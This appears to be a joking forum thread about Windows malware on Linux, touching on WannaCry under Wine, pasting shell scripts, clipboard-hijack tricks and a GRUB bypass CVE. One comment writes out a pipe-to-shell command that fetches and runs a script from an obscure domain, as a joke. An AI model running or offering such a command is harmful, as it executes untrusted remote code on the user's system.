This is were WINE comes handy /s
WannaCry: Platinium
https://appdb.winehq.org/objectManager.php?sClass=application&iId=18249
WannaCry is believed to use the EternalBlue exploit, which was developed by the U.S. National Security Agency (NSA)to attack computers running Microsoft Windows operating systems.
Hehe
deleted by creator
What works
Encryption - Yes
GUI - Yes
What does not
SMB & Network replication does not always work, may require SMB network patch.
See: Misc Things to configure (Samba Shares)
Some Font rendering issues.
What was not tested
Decryption
Ransom Payment
Uh oh. And giving it “platinum” even though some stuff doesn’t work and basic features weren’t tested is bullshit. I demand a retraction!
I’m not clicking that link
Why? You don’t wanna know how well WannaCry runs via Wine? The site is perfectly harmless.
Sounds like something someone trying to put WannaCry on my computer would say…
But you do know what wine and winehq is, right?
You’ll never know.
Looks like you’re not one of the lucky ten thousand today.
It’s just an entry in Wine’s AppDB, where they keep track of how well apps run on wine. Like ProtonDB, but for general applications.
Whole bunch of people trying to get me to click this sus link…
You’re never gonna do it.
I cast Millennial Paranoia, BOOMERS.
GO BACK TO YOUR CHAIN EMAILS
Jesus, the downvotes! Well, I thought it was funny! 😂
If you comment in Programmer Humor, you have to accept that a lot of the community has problems detecting irony.
Gwan.
I do get that one wants to be careful when it comes to viruses, but just outright not believing others without doing your own research is just as harmful as blindly believing in something. If you don’t have precautions against websites running malicious code (e.g. ublock origin), you’re already treading on dangerous ground regardless. Doubly so if you don’t make snapshots.
If you really want to be paranoid you can also click the link inside a USB image, or a sandbox. I would however advise doing research on winehq.org if you are running Linux, since it’s generally a good resource for running Windows apps.
Wine is a tool that lets you run Windows programs on Linux or MacOS and WineHQ is a database of how well certain programs or games work with it
It’s just to WineHQ’s AppDb, it just describes how well stuff works with Wine. It’s similar to the newer ProtonDB. Someone tested the WannaCry/WannaCrypt malware with Wine for the hell of it.
Virus running in wine: “WTF is this place. It’s familiar, but it’s all wrong!”
Why does your admin account look like a scrotum?
Yours doesn’t?
Maybe because scratching an itch there is generally seen as a bad move if you don’t know what you’re doing.
it’s where the power is stored
Insert joke about it taking balls to use it
Insert another joke about it being the root of the access tree/graph in the image
… and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.
But a forum post said it would fix my issue.
I feel like there’s some truth to this!
If the posted answer was in a moderately active thread, you can generally assume it’s correct if there are no contradictory replies.
If the thread has been dead a few weeks, they could edit their post. Or if it pulls a objects, those objects could change.
Raises hand I might be some people 🥺
There’s some people in all of us
curl gu5usgugiv.lol | bash || curl get.k3s.io | bashSomeone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.
Let me open up my Linux bible and see if its malicious
What do they hope to do in a temporary qube VM?
…so, never put things in the terminal?
In fact, you should delete the terminal altogether. On a related note, powershell access is considered taboo in corporate environments by IT departments. When security audits are done, you lose a point if powershell can be used. It is in fact considered a hacking tool.
Even if you understand the commands, you need to trust the website because a malicious site can use JavaScript to copy something completely different into your clipboard, with a newline character at the end to automatically execute when pasted. (Is the newline exploit fixed in all shells? It used to fail in zsh but work in many others…)
One can also paste into a text editor to verify before pasting into terminal, but what noob is going to know or bother to?
Wine automatically running:
A friend of mine once downloaded something malicious to his Linux machine and wasn’t worried about it. Then some time later, while browsing his files from a Windows machine, saw it and was like, “hey, what’s this?” Oops.
He’s a tech savvy guy, so I’m guessing the fact he had downloaded it himself really let his guard down.
That’s why you don’t store your stool samples in the same fridge as your chocolate pudding. Malware goes into the vault.
That’s another reason not to dual boot. Ditch Windows.
It does if you right click it and run with wine or whatever it says
in mint cinnamon it still has no power, wine is not in the context menu or program list!
…by default. You could always add it.
my problem was i couldn’t find where it is and search engines couldn’t provide an answer, but just now i learned you can find out where something is installed with
whereis appnameWhy rely on symlinks when you can just find it
find -iname -type d - *wine /
And then it starts running because you set up wine with binfmt_misc, only to crash a few seconds later
Remember that time, when it was possible for about 6 years to hack into any Linux system (without drive encryption) which had GRUB by pressing backspace exactly 28 times? Yeah, good old times.
https://www.hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html
If the adversary has physical access you are generally pwned either way
That’s hyperbole. Such a system can be “hacked” by simply plugging in a usb-stick and booting from that instead, or dozens of other ways.
The only reason to use GRUB authentication I can think of would be in something like a kiosk.
Does anyone here use GRUB authentication? If so why? What’s your threat model?
This has given me a horrendous idea involving a Windows batch file and a weird shebang
you’re not the first. there absolutely are multiplatform launcher scripts. i have used one for installers a few years ago.
Shebang needs executable rights afaik.
Well if the exe was in a bottle it would be dangerous.
The virgin bin vs the chad .exe
Sometimes when I’ve torrenting from a public wifi I’ll get a malicious .scr file - but since I torrent from an Android phone it can’t do anything to me.
Same with android. There isn’t even wine there
Android has an extensive application sandboxing mechanism
Wrong location my dear
until you try to install .exe game file using lutris and wine
